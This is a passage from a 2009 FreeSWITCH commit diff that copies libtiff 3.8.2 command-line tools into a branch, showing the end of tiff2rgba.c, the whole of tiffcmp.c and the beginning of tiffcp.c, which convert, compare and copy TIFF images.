+                                   ORIENTATION_TOPLEFT, 0)) {
+        _TIFFfree(raster);
+        return (0);
+    }
+
+    /*
+    ** Do we want to strip away alpha components?
+    */
+    if( no_alpha )
+    {
+        int	pixel_count = width * height;
+        unsigned char *src, *dst;
+
+        src = (unsigned char *) raster;
+        dst = (unsigned char *) raster;
+        while( pixel_count > 0 )
+        {
+            *(dst++) = *(src++);
+            *(dst++) = *(src++);
+            *(dst++) = *(src++);
+            src++;
+            pixel_count--;
+        }
+    }
+
+    /* Write out the result in strips */
+
+    for( row = 0; row < height; row += rowsperstrip )
+    {
+        unsigned char * raster_strip;
+        int	rows_to_write;
+        int	bytes_per_pixel;
+
+        if( no_alpha )
+        {
+            raster_strip = ((unsigned char *) raster) + 3 * row * width;
+            bytes_per_pixel = 3;
+        }
+        else
+        {
+            raster_strip = (unsigned char *) (raster + row * width);
+            bytes_per_pixel = 4;
+        }
+
+        if( row + rowsperstrip > height )
+            rows_to_write = height - row;
+        else
+            rows_to_write = rowsperstrip;
+
+        if( TIFFWriteEncodedStrip( out, row / rowsperstrip, raster_strip,
+                             bytes_per_pixel * rows_to_write * width ) == -1 )
+        {
+            _TIFFfree( raster );
+            return 0;
+        }
+    }
+
+    _TIFFfree( raster );
+
+    return 1;
+}
+
+
+static int
+tiffcvt(TIFF* in, TIFF* out)
+{
+	uint32 width, height;		/* image width & height */
+	uint16 shortv;
+	float floatv;
+	char *stringv;
+	uint32 longv;
+        uint16 v[1];
+
+	TIFFGetField(in, TIFFTAG_IMAGEWIDTH, &width);
+	TIFFGetField(in, TIFFTAG_IMAGELENGTH, &height);
+
+	CopyField(TIFFTAG_SUBFILETYPE, longv);
+	TIFFSetField(out, TIFFTAG_IMAGEWIDTH, width);
+	TIFFSetField(out, TIFFTAG_IMAGELENGTH, height);
+	TIFFSetField(out, TIFFTAG_BITSPERSAMPLE, 8);
+	TIFFSetField(out, TIFFTAG_COMPRESSION, compression);
+	TIFFSetField(out, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_RGB);
+
+	CopyField(TIFFTAG_FILLORDER, shortv);
+	TIFFSetField(out, TIFFTAG_ORIENTATION, ORIENTATION_TOPLEFT);
+
+        if( no_alpha )
+            TIFFSetField(out, TIFFTAG_SAMPLESPERPIXEL, 3);
+        else
+            TIFFSetField(out, TIFFTAG_SAMPLESPERPIXEL, 4);
+
+        if( !no_alpha )
+        {
+            v[0] = EXTRASAMPLE_ASSOCALPHA;
+            TIFFSetField(out, TIFFTAG_EXTRASAMPLES, 1, v);
+        }
+
+	CopyField(TIFFTAG_XRESOLUTION, floatv);
+	CopyField(TIFFTAG_YRESOLUTION, floatv);
+	CopyField(TIFFTAG_RESOLUTIONUNIT, shortv);
+	TIFFSetField(out, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG);
+	TIFFSetField(out, TIFFTAG_SOFTWARE, TIFFGetVersion());
+	CopyField(TIFFTAG_DOCUMENTNAME, stringv);
+
+        if( process_by_block && TIFFIsTiled( in ) )
+            return( cvt_by_tile( in, out ) );
+        else if( process_by_block )
+            return( cvt_by_strip( in, out ) );
+        else
+            return( cvt_whole_image( in, out ) );
+}
+
+static char* stuff[] = {
+    "usage: tiff2rgba [-c comp] [-r rows] [-b] input... output",
+    "where comp is one of the following compression algorithms:",
+    " jpeg\t\tJPEG encoding",
+    " zip\t\tLempel-Ziv & Welch encoding",
+    " lzw\t\tLempel-Ziv & Welch encoding",
+    " packbits\tPackBits encoding",
+    " none\t\tno compression",
+    "and the other options are:",
+    " -r\trows/strip",
+    " -b (progress by block rather than as a whole image)",
+    " -n don't emit alpha component.",
+    NULL
+};
+
+static void
+usage(int code)
+{
+	char buf[BUFSIZ];
+	int i;
+
+	setbuf(stderr, buf);
+        fprintf(stderr, "%s\n\n", TIFFGetVersion());
+	for (i = 0; stuff[i] != NULL; i++)
+		fprintf(stderr, "%s\n", stuff[i]);
+	exit(code);
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffcmp.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffcmp.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/tiffcmp.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffcmp.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffcmp.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,632 @@
+/* $Id: tiffcmp.c,v 1.12 2005/12/29 00:15:57 bfriesen Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#include "tif_config.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#ifdef HAVE_UNISTD_H
+# include <unistd.h>
+#endif
+
+#include "tiffio.h"
+
+#ifndef HAVE_GETOPT
+extern int getopt(int, char**, char*);
+#endif
+
+static	int stopondiff = 1;
+static	int stoponfirsttag = 1;
+static	uint16 bitspersample = 1;
+static	uint16 samplesperpixel = 1;
+static	uint16 sampleformat = SAMPLEFORMAT_UINT;
+static	uint32 imagewidth;
+static	uint32 imagelength;
+
+static	void usage(void);
+static	int tiffcmp(TIFF*, TIFF*);
+static	int cmptags(TIFF*, TIFF*);
+static	int ContigCompare(int, uint32, unsigned char*, unsigned char*, int);
+static	int SeparateCompare(int, int, uint32, unsigned char*, unsigned char*);
+static	void PrintIntDiff(uint32, int, uint32, uint32, uint32);
+static	void PrintFloatDiff(uint32, int, uint32, double, double);
+
+static	void leof(const char*, uint32, int);
+
+int
+main(int argc, char* argv[])
+{
+	TIFF *tif1, *tif2;
+	int c, dirnum;
+	extern int optind;
+	extern char* optarg;
+
+	while ((c = getopt(argc, argv, "ltz:")) != -1)
+		switch (c) {
+		case 'l':
+			stopondiff = 0;
+			break;
+		case 'z':
+			stopondiff = atoi(optarg);
+			break;
+		case 't':
+			stoponfirsttag = 0;
+			break;
+		case '?':
+			usage();
+			/*NOTREACHED*/
+		}
+	if (argc - optind < 2)
+		usage();
+	tif1 = TIFFOpen(argv[optind], "r");
+	if (tif1 == NULL)
+		return (-1);
+	tif2 = TIFFOpen(argv[optind+1], "r");
+	if (tif2 == NULL)
+		return (-2);
+	dirnum = 0;
+	while (tiffcmp(tif1, tif2)) {
+		if (!TIFFReadDirectory(tif1)) {
+			if (!TIFFReadDirectory(tif2))
+				break;
+			printf("No more directories for %s\n",
+			    TIFFFileName(tif1));
+			return (1);
+		} else if (!TIFFReadDirectory(tif2)) {
+			printf("No more directories for %s\n",
+			    TIFFFileName(tif2));
+			return (1);
+		}
+		printf("Directory %d:\n", ++dirnum);
+	}
+
+	TIFFClose(tif1);
+	TIFFClose(tif2);
+	return (0);
+}
+
+char* stuff[] = {
+"usage: tiffcmp [options] file1 file2",
+"where options are:",
+" -l		list each byte of image data that differs between the files",
+" -z #		list specified number of bytes that differs between the files",
+" -t		ignore any differences in directory tags",
+NULL
+};
+
+static void
+usage(void)
+{
+	char buf[BUFSIZ];
+	int i;
+
+	setbuf(stderr, buf);
+        fprintf(stderr, "%s\n\n", TIFFGetVersion());
+	for (i = 0; stuff[i] != NULL; i++)
+		fprintf(stderr, "%s\n", stuff[i]);
+	exit(-1);
+}
+
+#define	checkEOF(tif, row, sample) { \
+	leof(TIFFFileName(tif), row, sample); \
+	goto bad; \
+}
+
+static	int CheckShortTag(TIFF*, TIFF*, int, char*);
+static	int CheckShort2Tag(TIFF*, TIFF*, int, char*);
+static	int CheckShortArrayTag(TIFF*, TIFF*, int, char*);
+static	int CheckLongTag(TIFF*, TIFF*, int, char*);
+static	int CheckFloatTag(TIFF*, TIFF*, int, char*);
+static	int CheckStringTag(TIFF*, TIFF*, int, char*);
+
+static int
+tiffcmp(TIFF* tif1, TIFF* tif2)
+{
+	uint16 config1, config2;
+	tsize_t size1;
+	uint32 row;
+	tsample_t s;
+	unsigned char *buf1, *buf2;
+
+	if (!CheckShortTag(tif1, tif2, TIFFTAG_BITSPERSAMPLE, "BitsPerSample"))
+		return (0);
+	if (!CheckShortTag(tif1, tif2, TIFFTAG_SAMPLESPERPIXEL, "SamplesPerPixel"))
+		return (0);
+	if (!CheckLongTag(tif1, tif2, TIFFTAG_IMAGEWIDTH, "ImageWidth"))
+		return (0);
+	if (!cmptags(tif1, tif2))
+		return (1);
+	(void) TIFFGetField(tif1, TIFFTAG_BITSPERSAMPLE, &bitspersample);
+	(void) TIFFGetField(tif1, TIFFTAG_SAMPLESPERPIXEL, &samplesperpixel);
+	(void) TIFFGetField(tif1, TIFFTAG_SAMPLEFORMAT, &sampleformat);
+	(void) TIFFGetField(tif1, TIFFTAG_IMAGEWIDTH, &imagewidth);
+	(void) TIFFGetField(tif1, TIFFTAG_IMAGELENGTH, &imagelength);
+	(void) TIFFGetField(tif1, TIFFTAG_PLANARCONFIG, &config1);
+	(void) TIFFGetField(tif2, TIFFTAG_PLANARCONFIG, &config2);
+	buf1 = (unsigned char *)_TIFFmalloc(size1 = TIFFScanlineSize(tif1));
+	buf2 = (unsigned char *)_TIFFmalloc(TIFFScanlineSize(tif2));
+	if (buf1 == NULL || buf2 == NULL) {
+		fprintf(stderr, "No space for scanline buffers\n");
+		exit(-1);
+	}
+	if (config1 != config2 && bitspersample != 8 && samplesperpixel > 1) {
+		fprintf(stderr,
+"Can't handle different planar configuration w/ different bits/sample\n");
+		goto bad;
+	}
+#define	pack(a,b)	((a)<<8)|(b)
+	switch (pack(config1, config2)) {
+	case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_CONTIG):
+		for (row = 0; row < imagelength; row++) {
+			if (TIFFReadScanline(tif2, buf2, row, 0) < 0)
+				checkEOF(tif2, row, -1)
+			for (s = 0; s < samplesperpixel; s++) {
+				if (TIFFReadScanline(tif1, buf1, row, s) < 0)
+					checkEOF(tif1, row, s)
+				if (SeparateCompare(1, s, row, buf2, buf1) < 0)
+					goto bad1;
+			}
+		}
+		break;
+	case pack(PLANARCONFIG_CONTIG, PLANARCONFIG_SEPARATE):
+		for (row = 0; row < imagelength; row++) {
+			if (TIFFReadScanline(tif1, buf1, row, 0) < 0)
+				checkEOF(tif1, row, -1)
+			for (s = 0; s < samplesperpixel; s++) {
+				if (TIFFReadScanline(tif2, buf2, row, s) < 0)
+					checkEOF(tif2, row, s)
+				if (SeparateCompare(0, s, row, buf1, buf2) < 0)
+					goto bad1;
+			}
+		}
+		break;
+	case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_SEPARATE):
+		for (s = 0; s < samplesperpixel; s++)
+			for (row = 0; row < imagelength; row++) {
+				if (TIFFReadScanline(tif1, buf1, row, s) < 0)
+					checkEOF(tif1, row, s)
+				if (TIFFReadScanline(tif2, buf2, row, s) < 0)
+					checkEOF(tif2, row, s)
+				if (ContigCompare(s, row, buf1, buf2, size1) < 0)
+					goto bad1;
+			}
+		break;
+	case pack(PLANARCONFIG_CONTIG, PLANARCONFIG_CONTIG):
+		for (row = 0; row < imagelength; row++) {
+			if (TIFFReadScanline(tif1, buf1, row, 0) < 0)
+				checkEOF(tif1, row, -1)
+			if (TIFFReadScanline(tif2, buf2, row, 0) < 0)
+				checkEOF(tif2, row, -1)
+			if (ContigCompare(-1, row, buf1, buf2, size1) < 0)
+				goto bad1;
+		}
+		break;
+	}
+	if (buf1) _TIFFfree(buf1);
+	if (buf2) _TIFFfree(buf2);
+	return (1);
+bad:
+	if (stopondiff)
+		exit(1);
+bad1:
+	if (buf1) _TIFFfree(buf1);
+	if (buf2) _TIFFfree(buf2);
+	return (0);
+}
+
+#define	CmpShortField(tag, name) \
+	if (!CheckShortTag(tif1, tif2, tag, name) && stoponfirsttag) return (0)
+#define	CmpShortField2(tag, name) \
+	if (!CheckShort2Tag(tif1, tif2, tag, name) && stoponfirsttag) return (0)
+#define	CmpLongField(tag, name) \
+	if (!CheckLongTag(tif1, tif2, tag, name) && stoponfirsttag) return (0)
+#define	CmpFloatField(tag, name) \
+	if (!CheckFloatTag(tif1, tif2, tag, name) && stoponfirsttag) return (0)
+#define	CmpStringField(tag, name) \
+	if (!CheckStringTag(tif1, tif2, tag, name) && stoponfirsttag) return (0)
+#define	CmpShortArrayField(tag, name) \
+	if (!CheckShortArrayTag(tif1, tif2, tag, name) && stoponfirsttag) return (0)
+
+static int
+cmptags(TIFF* tif1, TIFF* tif2)
+{
+	CmpLongField(TIFFTAG_SUBFILETYPE,	"SubFileType");
+	CmpLongField(TIFFTAG_IMAGEWIDTH,	"ImageWidth");
+	CmpLongField(TIFFTAG_IMAGELENGTH,	"ImageLength");
+	CmpShortField(TIFFTAG_BITSPERSAMPLE,	"BitsPerSample");
+	CmpShortField(TIFFTAG_COMPRESSION,	"Compression");
+	CmpShortField(TIFFTAG_PREDICTOR,	"Predictor");
+	CmpShortField(TIFFTAG_PHOTOMETRIC,	"PhotometricInterpretation");
+	CmpShortField(TIFFTAG_THRESHHOLDING,	"Thresholding");
+	CmpShortField(TIFFTAG_FILLORDER,	"FillOrder");
+	CmpShortField(TIFFTAG_ORIENTATION,	"Orientation");
+	CmpShortField(TIFFTAG_SAMPLESPERPIXEL,	"SamplesPerPixel");
+	CmpShortField(TIFFTAG_MINSAMPLEVALUE,	"MinSampleValue");
+	CmpShortField(TIFFTAG_MAXSAMPLEVALUE,	"MaxSampleValue");
+	CmpShortField(TIFFTAG_SAMPLEFORMAT,	"SampleFormat");
+	CmpFloatField(TIFFTAG_XRESOLUTION,	"XResolution");
+	CmpFloatField(TIFFTAG_YRESOLUTION,	"YResolution");
+	CmpLongField(TIFFTAG_GROUP3OPTIONS,	"Group3Options");
+	CmpLongField(TIFFTAG_GROUP4OPTIONS,	"Group4Options");
+	CmpShortField(TIFFTAG_RESOLUTIONUNIT,	"ResolutionUnit");
+	CmpShortField(TIFFTAG_PLANARCONFIG,	"PlanarConfiguration");
+	CmpLongField(TIFFTAG_ROWSPERSTRIP,	"RowsPerStrip");
+	CmpFloatField(TIFFTAG_XPOSITION,	"XPosition");
+	CmpFloatField(TIFFTAG_YPOSITION,	"YPosition");
+	CmpShortField(TIFFTAG_GRAYRESPONSEUNIT, "GrayResponseUnit");
+	CmpShortField(TIFFTAG_COLORRESPONSEUNIT, "ColorResponseUnit");
+#ifdef notdef
+	{ uint16 *graycurve;
+	  CmpField(TIFFTAG_GRAYRESPONSECURVE, graycurve);
+	}
+	{ uint16 *red, *green, *blue;
+	  CmpField3(TIFFTAG_COLORRESPONSECURVE, red, green, blue);
+	}
+	{ uint16 *red, *green, *blue;
+	  CmpField3(TIFFTAG_COLORMAP, red, green, blue);
+	}
+#endif
+	CmpShortField2(TIFFTAG_PAGENUMBER,	"PageNumber");
+	CmpStringField(TIFFTAG_ARTIST,		"Artist");
+	CmpStringField(TIFFTAG_IMAGEDESCRIPTION,"ImageDescription");
+	CmpStringField(TIFFTAG_MAKE,		"Make");
+	CmpStringField(TIFFTAG_MODEL,		"Model");
+	CmpStringField(TIFFTAG_SOFTWARE,	"Software");
+	CmpStringField(TIFFTAG_DATETIME,	"DateTime");
+	CmpStringField(TIFFTAG_HOSTCOMPUTER,	"HostComputer");
+	CmpStringField(TIFFTAG_PAGENAME,	"PageName");
+	CmpStringField(TIFFTAG_DOCUMENTNAME,	"DocumentName");
+	CmpShortField(TIFFTAG_MATTEING,		"Matteing");
+	CmpShortArrayField(TIFFTAG_EXTRASAMPLES,"ExtraSamples");
+	return (1);
+}
+
+static int
+ContigCompare(int sample, uint32 row,
+	      unsigned char* p1, unsigned char* p2, int size)
+{
+    uint32 pix;
+    int ppb = 8 / bitspersample;
+    int	 samples_to_test;
+
+    if (memcmp(p1, p2, size) == 0)
+        return 0;
+
+    samples_to_test = (sample == -1) ? samplesperpixel : 1;
+
+    switch (bitspersample) {
+      case 1: case 2: case 4: case 8: 
+      {
+          unsigned char *pix1 = p1, *pix2 = p2;
+
+          for (pix = 0; pix < imagewidth; pix += ppb) {
+              int		s;
+
+              for(s = 0; s < samples_to_test; s++) {
+                  if (*pix1 != *pix2) {
+                      if( sample == -1 )
+                          PrintIntDiff(row, s, pix, *pix1, *pix2);
+                      else
+                          PrintIntDiff(row, sample, pix, *pix1, *pix2);
+                  }
+
+                  pix1++;
+                  pix2++;
+              }
+          }
+          break;
+      }
+      case 16: 
+      {
+          uint16 *pix1 = (uint16 *)p1, *pix2 = (uint16 *)p2;
+
+          for (pix = 0; pix < imagewidth; pix++) {
+              int	s;
+
+              for(s = 0; s < samples_to_test; s++) {
+                  if (*pix1 != *pix2)
+                      PrintIntDiff(row, sample, pix, *pix1, *pix2);
+                        
+                  pix1++;
+                  pix2++;
+              }
+          }
+          break;
+      }
+      case 32: 
+	if (sampleformat == SAMPLEFORMAT_UINT
+	    || sampleformat == SAMPLEFORMAT_INT) {
+		uint32 *pix1 = (uint32 *)p1, *pix2 = (uint32 *)p2;
+
+		for (pix = 0; pix < imagewidth; pix++) {
+			int	s;
+
+			for(s = 0; s < samples_to_test; s++) {
+				if (*pix1 != *pix2) {
+					PrintIntDiff(row, sample, pix,
+						     *pix1, *pix2);
+				}
+                        
+				pix1++;
+				pix2++;
+			}
+		}
+	} else if (sampleformat == SAMPLEFORMAT_IEEEFP) {
+		float *pix1 = (float *)p1, *pix2 = (float *)p2;
+
+		for (pix = 0; pix < imagewidth; pix++) {
+			int	s;
+
+			for(s = 0; s < samples_to_test; s++) {
+				if (*pix1 != *pix2) {
+					PrintFloatDiff(row, sample, pix,
+						       *pix1, *pix2);
+				}
+                        
+				pix1++;
+				pix2++;
+			}
+		}
+	} else {
+		  fprintf(stderr, "Sample format %d is not supported.\n",
+			  sampleformat);
+		  return -1;
+	}
+        break;
+      default:
+	fprintf(stderr, "Bit depth %d is not supported.\n", bitspersample);
+	return -1;
+    }
+
+    return 0;
+}
+
+static void
+PrintIntDiff(uint32 row, int sample, uint32 pix, uint32 w1, uint32 w2)
+{
+	if (sample < 0)
+		sample = 0;
+	switch (bitspersample) {
+	case 1:
+	case 2:
+	case 4:
+	    {
+		int32 mask1, mask2, s;
+
+		mask1 =  ~((-1) << bitspersample);
+		s = (8 - bitspersample);
+		mask2 = mask1 << s;
+		for (; mask2 && pix < imagewidth;
+		     mask2 >>= bitspersample, s -= bitspersample, pix++) {
+			if ((w1 & mask2) ^ (w2 & mask2)) {
+				printf(
+			"Scanline %lu, pixel %lu, sample %d: %01x %01x\n",
+	    				(unsigned long) row,
+					(unsigned long) pix,
+					sample,
+					(unsigned int)((w1 >> s) & mask1),
+					(unsigned int)((w2 >> s) & mask1));
+				if (--stopondiff == 0)
+					exit(1);
+			}
+		}
+		break;
+	    }
+	case 8: 
+		printf("Scanline %lu, pixel %lu, sample %d: %02x %02x\n",
+		       (unsigned long) row, (unsigned long) pix, sample,
+		       (unsigned int) w1, (unsigned int) w2);
+		if (--stopondiff == 0)
+			exit(1);
+		break;
+	case 16:
+		printf("Scanline %lu, pixel %lu, sample %d: %04x %04x\n",
+		    (unsigned long) row, (unsigned long) pix, sample,
+		    (unsigned int) w1, (unsigned int) w2);
+		if (--stopondiff == 0)
+			exit(1);
+		break;
+	case 32:
+		printf("Scanline %lu, pixel %lu, sample %d: %08x %08x\n",
+		    (unsigned long) row, (unsigned long) pix, sample,
+		    (unsigned int) w1, (unsigned int) w2);
+		if (--stopondiff == 0)
+			exit(1);
+		break;
+	default:
+		break;
+	}
+}
+
+static void
+PrintFloatDiff(uint32 row, int sample, uint32 pix, double w1, double w2)
+{
+	if (sample < 0)
+		sample = 0;
+	switch (bitspersample) {
+	case 32: 
+		printf("Scanline %lu, pixel %lu, sample %d: %g %g\n",
+		    (long) row, (long) pix, sample, w1, w2);
+		if (--stopondiff == 0)
+			exit(1);
+		break;
+	default:
+		break;
+	}
+}
+
+static int
+SeparateCompare(int reversed, int sample, uint32 row,
+		unsigned char* cp1, unsigned char* p2)
+{
+	uint32 npixels = imagewidth;
+	int pixel;
+
+	cp1 += sample;
+	for (pixel = 0; npixels-- > 0; pixel++, cp1 += samplesperpixel, p2++) {
+		if (*cp1 != *p2) {
+			printf("Scanline %lu, pixel %lu, sample %ld: ",
+			    (long) row, (long) pixel, (long) sample);
+			if (reversed)
+				printf("%02x %02x\n", *p2, *cp1);
+			else
+				printf("%02x %02x\n", *cp1, *p2);
+			if (--stopondiff == 0)
+				exit(1);
+		}
+	}
+
+	return 0;
+}
+
+static int
+checkTag(TIFF* tif1, TIFF* tif2, int tag, char* name, void* p1, void* p2)
+{
+
+	if (TIFFGetField(tif1, tag, p1)) {
+		if (!TIFFGetField(tif2, tag, p2)) {
+			printf("%s tag appears only in %s\n",
+			    name, TIFFFileName(tif1));
+			return (0);
+		}
+		return (1);
+	} else if (TIFFGetField(tif2, tag, p2)) {
+		printf("%s tag appears only in %s\n", name, TIFFFileName(tif2));
+		return (0);
+	}
+	return (-1);
+}
+
+#define	CHECK(cmp, fmt) {				\
+	switch (checkTag(tif1,tif2,tag,name,&v1,&v2)) {	\
+	case 1:	if (cmp)				\
+	case -1:	return (1);			\
+		printf(fmt, name, v1, v2);		\
+	}						\
+	return (0);					\
+}
+
+static int
+CheckShortTag(TIFF* tif1, TIFF* tif2, int tag, char* name)
+{
+	uint16 v1, v2;
+	CHECK(v1 == v2, "%s: %u %u\n");
+}
+
+static int
+CheckShort2Tag(TIFF* tif1, TIFF* tif2, int tag, char* name)
+{
+	uint16 v11, v12, v21, v22;
+
+	if (TIFFGetField(tif1, tag, &v11, &v12)) {
+		if (!TIFFGetField(tif2, tag, &v21, &v22)) {
+			printf("%s tag appears only in %s\n",
+			    name, TIFFFileName(tif1));
+			return (0);
+		}
+		if (v11 == v21 && v12 == v22)
+			return (1);
+		printf("%s: <%u,%u> <%u,%u>\n", name, v11, v12, v21, v22);
+	} else if (TIFFGetField(tif2, tag, &v21, &v22))
+		printf("%s tag appears only in %s\n", name, TIFFFileName(tif2));
+	else
+		return (1);
+	return (0);
+}
+
+static int
+CheckShortArrayTag(TIFF* tif1, TIFF* tif2, int tag, char* name)
+{
+	uint16 n1, *a1;
+	uint16 n2, *a2;
+
+	if (TIFFGetField(tif1, tag, &n1, &a1)) {
+		if (!TIFFGetField(tif2, tag, &n2, &a2)) {
+			printf("%s tag appears only in %s\n",
+			    name, TIFFFileName(tif1));
+			return (0);
+		}
+		if (n1 == n2) {
+			char* sep;
+			uint16 i;
+
+			if (memcmp(a1, a2, n1 * sizeof(uint16)) == 0)
+				return (1);
+			printf("%s: value mismatch, <%u:", name, n1);
+			sep = "";
+			for (i = 0; i < n1; i++)
+				printf("%s%u", sep, a1[i]), sep = ",";
+			printf("> and <%u: ", n2);
+			sep = "";
+			for (i = 0; i < n2; i++)
+				printf("%s%u", sep, a2[i]), sep = ",";
+			printf(">\n");
+		} else
+			printf("%s: %u items in %s, %u items in %s", name,
+			    n1, TIFFFileName(tif1),
+			    n2, TIFFFileName(tif2)
+			);
+	} else if (TIFFGetField(tif2, tag, &n2, &a2))
+		printf("%s tag appears only in %s\n", name, TIFFFileName(tif2));
+	else
+		return (1);
+	return (0);
+}
+
+static int
+CheckLongTag(TIFF* tif1, TIFF* tif2, int tag, char* name)
+{
+	uint32 v1, v2;
+	CHECK(v1 == v2, "%s: %u %u\n");
+}
+
+static int
+CheckFloatTag(TIFF* tif1, TIFF* tif2, int tag, char* name)
+{
+	float v1, v2;
+	CHECK(v1 == v2, "%s: %g %g\n");
+}
+
+static int
+CheckStringTag(TIFF* tif1, TIFF* tif2, int tag, char* name)
+{
+	char *v1, *v2;
+	CHECK(strcmp(v1, v2) == 0, "%s: \"%s\" \"%s\"\n");
+}
+
+static void
+leof(const char* name, uint32 row, int s)
+{
+
+	printf("%s: EOF at scanline %lu", name, (unsigned long)row);
+	if (s >= 0)
+		printf(", sample %d", s);
+	printf("\n");
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffcp.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffcp.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/tiffcp.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffcp.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffcp.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1730 @@
+/* $Id: tiffcp.c,v 1.34 2006/03/21 16:24:33 dron Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ *  Revised:  2/18/01 BAR -- added syntax for extracting single images from
+ *                          multi-image TIFF files.
+ *
+ *    New syntax is:  sourceFileName,image#
+ *
+ * image# ranges from 0..<n-1> where n is the # of images in the file.
+ * There may be no white space between the comma and the filename or
+ * image number.
+ *
+ *    Example:   tiffcp source.tif,1 destination.tif
+ *
+ * Copies the 2nd image in source.tif to the destination.
+ *
+ *****
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#include "tif_config.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#include <ctype.h>
+#include <assert.h>
+
+#ifdef HAVE_UNISTD_H
+# include <unistd.h>
+#endif
+
+#include "tiffio.h"
+
+#if defined(VMS)
+#define unlink delete
+#endif
+
+#define	streq(a,b)	(strcmp(a,b) == 0)
+#define	strneq(a,b,n)	(strncmp(a,b,n) == 0)
+
+#define	TRUE	1
+#define	FALSE	0
+
+static  int outtiled = -1;
+static  uint32 tilewidth;
+static  uint32 tilelength;
+
+static	uint16 config;
+static	uint16 compression;
+static	uint16 predictor;
+static	uint16 fillorder;
+static	uint16 orientation;
+static	uint32 rowsperstrip;
+static	uint32 g3opts;
+static	int ignore = FALSE;		/* if true, ignore read errors */
+static	uint32 defg3opts = (uint32) -1;
+static	int quality = 75;		/* JPEG quality */
+static	int jpegcolormode = JPEGCOLORMODE_RGB;
+static	uint16 defcompression = (uint16) -1;
+static	uint16 defpredictor = (uint16) -1;
+
+static	int tiffcp(TIFF*, TIFF*);
+static	int processCompressOptions(char*);
+static	void usage(void);
+
+static char comma = ',';  /* (default) comma separator character */
+static TIFF* bias = NULL;
+static int pageNum = 0;
+
+static int nextSrcImage (TIFF *tif, char **imageSpec)
+/*
+  seek to the next image specified in *imageSpec
+  returns 1 if success, 0 if no more images to process
+  *imageSpec=NULL if subsequent images should be processed in sequence
+*/
+{
+  if (**imageSpec == comma) {  /* if not @comma, we've done all images */
+    char *start = *imageSpec + 1;
+    tdir_t nextImage = (tdir_t)strtol(start, imageSpec, 0);
+    if (start == *imageSpec) nextImage = TIFFCurrentDirectory (tif);
+    if (**imageSpec)
+    {
+      if (**imageSpec == comma) {  
+        /* a trailing comma denotes remaining images in sequence */
+        if ((*imageSpec)[1] == '\0') *imageSpec = NULL;
+      }else{
+        fprintf (stderr, 
+          "Expected a %c separated image # list after %s\n",
+          comma, TIFFFileName (tif));
+        exit (-4);   /* syntax error */
+      }
+    }
+    if (TIFFSetDirectory (tif, nextImage)) return 1;  
+    fprintf (stderr, "%s%c%d not found!\n", 
+             TIFFFileName(tif), comma, (int) nextImage); 
+  }
+  return 0;
+}
+
+  
+static TIFF* openSrcImage (char **imageSpec)
+/*
